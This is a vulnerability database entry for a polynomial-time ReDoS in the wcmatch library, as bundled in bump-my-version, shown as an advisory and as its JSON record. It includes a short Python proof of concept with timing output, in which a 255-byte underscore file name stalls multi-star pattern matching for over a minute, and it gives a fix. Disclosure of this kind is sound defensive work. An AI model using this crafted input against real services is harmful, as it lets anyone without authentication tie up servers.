BREW-BUMP-MY-VERSION-CVE… (GHSA-53PM-WGXF-C6QF)
Vulnerability from osv_homebrew – Published: 2026-11-21 10:14 – Updated: 2026-11-21 10:14 – Source websiteSummary
With default flags, a pattern that contains several * wildcards takes polynomial time, O(n^k) for k stars, to reject a crafted file name. The pattern is an ordinary developer constant such as *_*_*_*_*.csv; only the string being matched comes from the attacker. A 255-byte file name (the maximum on common filesystems) takes 73 s with fnmatch.fnmatch() and 86 s with glob.globmatch(). The standard library's fnmatch handles the same input in under a millisecond.
This is different from GHSA-84v8-qmgq-9g88: that advisory covers extglob patterns, while this case needs no flags and no attacker-controlled pattern.
Details
Every * is translated to a lazy .*? (_STAR, wcmatch/_wcparse.py:212; _PATH_STAR [^/]*?, :218), which is emitted in _handle_star (:1405-1424):
*_*_*_*_*.csv -> ^(?s:(?=.)(?![.]).*?_.*?_.*?_.*?_.*?\.csv)$
When the subject consists of many _ and does not end in .csv, the regex engine tries every way of splitting it between the stars. CPython fixed the same problem in its own fnmatch (bpo-40480) by making every star segment except the last one atomic.
PoC
import time, fnmatch as std
from wcmatch import fnmatch, glob
for pat, n in [('*_*_*_*.csv', 255), ('*_*_*_*.csv', 400), ('*_*_*_*_*.csv', 150),
('*_*_*_*_*.csv', 200), ('*_*_*_*_*.csv', 255)]:
name = '_' * n
t = time.perf_counter(); fnmatch.fnmatch(name, pat); w = time.perf_counter() - t
t = time.perf_counter(); std.fnmatchcase(name, pat); s = time.perf_counter() - t
print(f'{pat:15} len={n} wcmatch={w:.3f}s stdlib={s:.5f}s')
t = time.perf_counter(); glob.globmatch('uploads/' + '_' * 255, 'uploads/*_*_*_*_*.csv')
print(f'globmatch {time.perf_counter() - t:.2f}s')
wcmatch 11.1, CPython 3.13, macOS:
*_*_*_*.csv len=255 wcmatch=1.412s stdlib=0.00001s
*_*_*_*.csv len=400 wcmatch=8.599s stdlib=0.00004s
*_*_*_*_*.csv len=150 wcmatch=5.333s stdlib=0.00003s
*_*_*_*_*.csv len=200 wcmatch=22.415s stdlib=0.00007s
*_*_*_*_*.csv len=255 wcmatch=72.732s stdlib=0.00047s
globmatch 85.75s
glob.glob('*_*_*_*.csv', root_dir=d) on a real directory that contains one file named '_' * 255 takes 1.7 s.
Impact
Applications that match untrusted names against multi-star patterns can be blocked on a single CPU core for minutes per name. Examples: upload handlers, archive or object-store key filters, and glob/WcMatch scans of directories where other users can create files. No authentication is needed.
Fix
Emit every star segment except the last one as an atomic group, as the standard library does. On Python 3.11 and later use (?>.*?_); on 3.10 use the lookahead/backreference form from fnmatch._join_translated_parts. For example:
^(?s:(?=.)(?![.])(?>.*?_)(?>.*?_)(?>.*?_)(?>.*?_).*?\.csv)$
This rejects the 255-byte name in under 1 ms. On my spot-check inputs it gives the same results as the current regex. The same change applies to _PATH_STAR.
| Ecosystem | Package | Version |
|---|---|---|
| Homebrew |
bump-my-version
pkg:brew/bump-my-version
|
Affected: ≥ 0.26.0, < 1.6.4 (ecosystem)
|
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "wcmatch",
"resource_purl": "pkg:pypi/wcmatch@11.2",
"upstream_fixed_in": "11.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "bump-my-version",
"purl": "pkg:brew/bump-my-version"
},
"ranges": [
{
"events": [
{
"introduced": "0.26.0"
},
{
"fixed": "1.6.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/wcmatch@11.2",
"name": "wcmatch",
"resource": "wcmatch",
"strategy": "registry",
"subject_version": "11.2"
}
]
},
"details": "# Summary\n\nWith default flags, a pattern that contains several `*` wildcards takes polynomial time, O(n^k) for k stars, to reject a crafted file name. The pattern is an ordinary developer constant such as `*_*_*_*_*.csv`; only the string being matched comes from the attacker. A 255-byte file name (the maximum on common filesystems) takes 73 s with `fnmatch.fnmatch()` and 86 s with `glob.globmatch()`. The standard library\u0027s `fnmatch` handles the same input in under a millisecond.\n\nThis is different from GHSA-84v8-qmgq-9g88: that advisory covers extglob patterns, while this case needs no flags and no attacker-controlled pattern.\n\n# Details\n\nEvery `*` is translated to a lazy `.*?` (`_STAR`, `wcmatch/_wcparse.py:212`; `_PATH_STAR` `[^/]*?`, `:218`), which is emitted in `_handle_star` (`:1405-1424`):\n\n```text\n*_*_*_*_*.csv -\u003e ^(?s:(?=.)(?![.]).*?_.*?_.*?_.*?_.*?\\.csv)$\n```\n\nWhen the subject consists of many `_` and does not end in `.csv`, the regex engine tries every way of splitting it between the stars. CPython fixed the same problem in its own `fnmatch` (bpo-40480) by making every star segment except the last one atomic.\n\n# PoC\n\n```python\nimport time, fnmatch as std\nfrom wcmatch import fnmatch, glob\n\nfor pat, n in [(\u0027*_*_*_*.csv\u0027, 255), (\u0027*_*_*_*.csv\u0027, 400), (\u0027*_*_*_*_*.csv\u0027, 150),\n (\u0027*_*_*_*_*.csv\u0027, 200), (\u0027*_*_*_*_*.csv\u0027, 255)]:\n name = \u0027_\u0027 * n\n t = time.perf_counter(); fnmatch.fnmatch(name, pat); w = time.perf_counter() - t\n t = time.perf_counter(); std.fnmatchcase(name, pat); s = time.perf_counter() - t\n print(f\u0027{pat:15} len={n} wcmatch={w:.3f}s stdlib={s:.5f}s\u0027)\n\nt = time.perf_counter(); glob.globmatch(\u0027uploads/\u0027 + \u0027_\u0027 * 255, \u0027uploads/*_*_*_*_*.csv\u0027)\nprint(f\u0027globmatch {time.perf_counter() - t:.2f}s\u0027)\n```\n\nwcmatch 11.1, CPython 3.13, macOS:\n\n```text\n*_*_*_*.csv len=255 wcmatch=1.412s stdlib=0.00001s\n*_*_*_*.csv len=400 wcmatch=8.599s stdlib=0.00004s\n*_*_*_*_*.csv len=150 wcmatch=5.333s stdlib=0.00003s\n*_*_*_*_*.csv len=200 wcmatch=22.415s stdlib=0.00007s\n*_*_*_*_*.csv len=255 wcmatch=72.732s stdlib=0.00047s\nglobmatch 85.75s\n```\n\n`glob.glob(\u0027*_*_*_*.csv\u0027, root_dir=d)` on a real directory that contains one file named `\u0027_\u0027 * 255` takes 1.7 s.\n\n# Impact\n\nApplications that match untrusted names against multi-star patterns can be blocked on a single CPU core for minutes per name. Examples: upload handlers, archive or object-store key filters, and `glob`/`WcMatch` scans of directories where other users can create files. No authentication is needed.\n\n# Fix\n\nEmit every star segment except the last one as an atomic group, as the standard library does. On Python 3.11 and later use `(?\u003e.*?_)`; on 3.10 use the lookahead/backreference form from `fnmatch._join_translated_parts`. For example:\n\n```text\n^(?s:(?=.)(?![.])(?\u003e.*?_)(?\u003e.*?_)(?\u003e.*?_)(?\u003e.*?_).*?\\.csv)$\n```\n\nThis rejects the 255-byte name in under 1 ms. On my spot-check inputs it gives the same results as the current regex. The same change applies to `_PATH_STAR`.",
"id": "BREW-bump-my-version-CVE-2026-132276",
"modified": "2026-11-21T10:14:09Z",
"published": "2026-11-21T10:14:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/wcmatch/security/advisories/GHSA-53pm-wgxf-c6qf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-132276"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/wcmatch/commit/83491aadde57780330f993620083e979f645c80c"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/wcmatch"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/wcmatch/releases/tag/11.2"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "wcmatch: Polynomial-time ReDoS when matching untrusted names against multi-star patterns (default flags)",
"upstream": [
"GHSA-53pm-wgxf-c6qf",
"CVE-2026-132276"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.